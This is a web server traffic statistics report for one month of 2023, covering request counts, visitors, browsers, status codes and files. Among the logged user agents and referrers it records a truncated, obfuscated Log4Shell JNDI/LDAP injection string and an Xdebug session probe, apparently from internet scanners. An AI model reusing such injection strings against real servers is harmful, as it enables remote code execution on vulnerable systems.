Program started on Fri, Mar 31 2023 at 3:29 PM.
Analyzed requests from Fri, Mar 03 2023 at 2:32 PM to Fri, Mar 31 2023 at 2:18 PM (27.99 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Figures in parentheses refer to the 7-day period ending Mar 31 2023 at 3:29 PM.
Successful requests: 1,012 (479)
Average successful requests per day: 36 (68)
Successful requests for pages: 959 (461)
Average successful requests for pages per day: 34 (65)
Failed requests: 2,868 (61)
Distinct files requested: 96 (3)
Distinct hosts served: 391 (39)
Data transferred: 24.83 megabytes (723.63 kilobytes)
Average data transferred per day: 908.52 kilobytes (103.38 kilobytes)
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 25 requests for pages or part thereof.
month | #reqs | #pages | |
---|---|---|---|
Mar 2023 | 1012 | 959 | ![]() ![]() ![]() ![]() |
Busiest month: Mar 2023 (959 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 5 requests for pages or part thereof.
day | #reqs | #pages | |
---|---|---|---|
Sun | 131 | 130 | ![]() ![]() ![]() |
Mon | 125 | 123 | ![]() ![]() ![]() |
Tue | 124 | 124 | ![]() ![]() ![]() |
Wed | 99 | 98 | ![]() ![]() |
Thu | 227 | 192 | ![]() ![]() ![]() ![]() |
Fri | 178 | 178 | ![]() ![]() |
Sat | 128 | 114 | ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 2 requests for pages or part thereof.
hour | #reqs | #pages | |
---|---|---|---|
0 | 103 | 59 | ![]() ![]() ![]() ![]() |
1 | 53 | 53 | ![]() ![]() ![]() ![]() |
2 | 51 | 49 | ![]() ![]() ![]() |
3 | 21 | 21 | ![]() ![]() ![]() |
4 | 49 | 44 | ![]() ![]() ![]() |
5 | 37 | 37 | ![]() ![]() ![]() |
6 | 35 | 35 | ![]() ![]() |
7 | 40 | 40 | ![]() ![]() |
8 | 72 | 71 | ![]() ![]() |
9 | 48 | 48 | ![]() ![]() |
10 | 47 | 47 | ![]() ![]() |
11 | 43 | 43 | ![]() ![]() ![]() |
12 | 40 | 40 | ![]() ![]() |
13 | 33 | 33 | ![]() ![]() |
14 | 25 | 24 | ![]() ![]() |
15 | 30 | 30 | ![]() ![]() ![]() ![]() |
16 | 32 | 32 | ![]() |
17 | 42 | 42 | ![]() ![]() ![]() |
18 | 30 | 30 | ![]() ![]() ![]() ![]() |
19 | 48 | 48 | ![]() ![]() |
20 | 29 | 29 | ![]() ![]() ![]() ![]() |
21 | 50 | 50 | ![]() ![]() ![]() |
22 | 24 | 24 | ![]() ![]() |
23 | 30 | 30 | ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing domains, sorted by the amount of traffic.
#reqs | %bytes | domain |
---|---|---|
1012 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 organizations by the number of requests, sorted by the number of requests.
#reqs | %bytes | organization |
---|---|---|
142 | 0.58% | 193.32 |
54 | 47.85% | 92 |
47 | 0.17% | 185.67 |
45 | 0.20% | 94 |
43 | 0.18% | 179.43 |
29 | 0.12% | 45 |
29 | 0.92% | 95 |
27 | 0.11% | 152.89 |
26 | 0.06% | 3 |
25 | 0.11% | 35 |
19 | 0.08% | 167.94 |
18 | 0.07% | 40 |
14 | 0.06% | 185.180 |
14 | 0.05% | 141.105 |
14 | 0.05% | 52 |
14 | 0.06% | 185.225 |
14 | 0.05% | 185.246 |
13 | 0.04% | 34 |
13 | 0.07% | 167.114 |
13 | 0.07% | 51 |
399 | 49.07% | [not listed: 163 organizations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring URLs, sorted by the number of failed requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring sites, sorted by the number of requests.
#reqs | site |
---|---|
3 | http://95.173.162.186/ |
2 | t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}/ |
2 | https://www.netcraft.com/ |
2 | https://www.bing.com/ |
2 | http://ip186.radyotelekom.org/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.
#reqs | #pages | browser |
---|---|---|
142 | 142 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 |
70 | 67 | Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/) |
39 | 39 | Hello World |
33 | 33 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
31 | 31 | Linux Gnu (cow) |
31 | 31 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36 |
30 | 30 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
28 | 28 | Mozilla/5.0 zgrab/0.x |
28 | 28 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
26 | 26 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 |
21 | 21 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) |
17 | 17 | masscan/1.3 (https://github.com/robertdavidgraham/masscan) |
16 | 16 | python-requests/2.28.2 |
15 | 15 | Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 |
15 | 15 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
15 | 15 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com |
44 | 14 | Go-http-client/1.1 |
13 | 13 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 |
13 | 13 | Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html) |
13 | 13 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7 |
13 | 13 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
10 | 10 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
9 | 9 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 |
10 | 9 | curl/7.54.0 |
9 | 9 | Python/3.8 aiohttp/3.8.3 |
8 | 8 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.0.54 (like Safari/604.1) |
8 | 8 | Java/11.0.10 |
8 | 8 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 |
11 | 6 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 |
6 | 6 | Xpanse, a Palo Alto Networks company, indexes customer network perimeters. If you have any questions or concerns, please reach out to: scaninfo@paloaltonetworks.com. |
6 | 6 | Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
6 | 6 | Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0 |
6 | 6 | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 |
5 | 5 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0 |
5 | 5 | Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/) |
5 | 5 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 |
5 | 5 | Mozilla/5.0 (compatible; Daum/4.1; +http://cs.daum.net/faq/15/4118.html?faqId=28966) |
4 | 4 | Mozilla/5.0 |
4 | 4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
4 | 4 | httpx - Open-source project (github.com/projectdiscovery/httpx) |
119 | 105 | [not listed: 75 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
# | #reqs | #pages | browser |
---|---|---|---|
1 | 431 | 426 | Safari |
368 | 363 | Safari/537 | |
34 | 34 | Safari/604 | |
13 | 13 | Safari/601 | |
6 | 6 | Safari/533 | |
4 | 4 | Safari/605 | |
3 | 3 | Safari/534 | |
2 | 2 | Safari/525 | |
1 | 1 | Safari/528 | |
2 | 120 | 117 | Netscape (compatible) |
3 | 81 | 81 | Firefox |
28 | 28 | Firefox/76 | |
15 | 15 | Firefox/78 | |
6 | 6 | Firefox/73 | |
5 | 5 | Firefox/8 | |
3 | 3 | Firefox/47 | |
3 | 3 | Firefox/77 | |
3 | 3 | Firefox/104 | |
3 | 3 | Firefox/109 | |
2 | 2 | Firefox/71 | |
2 | 2 | Firefox/65 | |
4 | 39 | 39 | Hello World |
5 | 33 | 33 | Mozilla |
1 | 1 | Mozilla/1 | |
6 | 31 | 31 | Linux Gnu (cow) |
7 | 19 | 19 | masscan |
19 | 19 | masscan/1 | |
8 | 17 | 17 | python-requests |
17 | 17 | python-requests/2 | |
9 | 15 | 15 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
15 | 15 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
10 | 44 | 14 | Go-http-client |
44 | 14 | Go-http-client/1 | |
11 | 13 | 12 | curl |
13 | 12 | curl/7 | |
12 | 9 | 9 | Python |
9 | 9 | Python/3 | |
13 | 8 | 8 | Java |
8 | 8 | Java/11 | |
14 | 6 | 6 | Xpanse, a Palo Alto Networks company, indexes customer network perimeters. If you have any questions or concerns, please reach out to: scaninfo@paloaltonetworks.com. |
15 | 4 | 4 | httpx - Open-source project (github.com |
4 | 4 | httpx - Open-source project (github.com/projectdiscovery/httpx) | |
16 | 3 | 3 | facebookexternalhit |
3 | 3 | facebookexternalhit/1 | |
17 | 2 | 2 | t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:} |
2 | 2 | t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//107 | |
18 | 2 | 2 | https: |
2 | 2 | https://gdnplus | |
19 | 2 | 2 | MSIE |
2 | 2 | MSIE/9 | |
20 | 16 | 2 | Apache-HttpClient |
16 | 2 | Apache-HttpClient/4 | |
6 | 6 | [not listed: 5 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing operating systems, sorted by the number of requests for pages.
# | #reqs | #pages | OS |
---|---|---|---|
1 | 354 | 349 | Windows |
306 | 301 | Windows NT | |
45 | 45 | Unknown Windows | |
3 | 3 | Windows XP | |
2 | 388 | 340 | OS unknown |
3 | 90 | 90 | Unix |
89 | 89 | Linux | |
1 | 1 | BSD | |
4 | 68 | 68 | Macintosh |
5 | 1 | 1 | Known robots |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing status codes, sorted numerically.
#reqs | status code |
---|---|
1009 | 200 OK |
3 | 206 Partial content |
1478 | 403 Access forbidden |
1386 | 404 Document not found |
4 | 408 Request timeout |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
size | #reqs | %bytes |
---|---|---|
0 | 49 | |
1B- 10B | 0 | |
11B- 100B | 0 | |
101B- 1kB | 411 | 1.51% |
1kB- 10kB | 539 | 2.60% |
10kB-100kB | 8 | 0.84% |
100kB- 1MB | 1 | 0.41% |
1MB- 10MB | 4 | 94.64% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | extension |
---|---|---|
6 | 94.64% | .mp3 [MP3 sound files] |
954 | 3.99% | [directories] |
5 | 0.76% | .html [Hypertext Markup Language] |
5 | 0.27% | .conf |
11 | 0.23% | .txt [Plain text] |
31 | 0.11% | .png [PNG graphics] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | directory |
---|---|---|
23 | 94.70% | /autoc060678/ |
861 | 3.46% | [root directory] |
113 | 1.78% | /tmp/ |
13 | 0.05% | /autofae/ |
2 | 0.01% | [not listed: 1 directory] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing files with at least 20 requests, sorted by the number of requests.
#reqs | %bytes | last time | file |
---|---|---|---|
855 | 3.45% | Mar/31/23 2:18 PM | / |
17 | 0.07% | Mar/30/23 3:42 PM | /?XDEBUG_SESSION_START=phpstorm |
157 | 96.55% | Mar/29/23 8:36 AM | [not listed: 27 files] |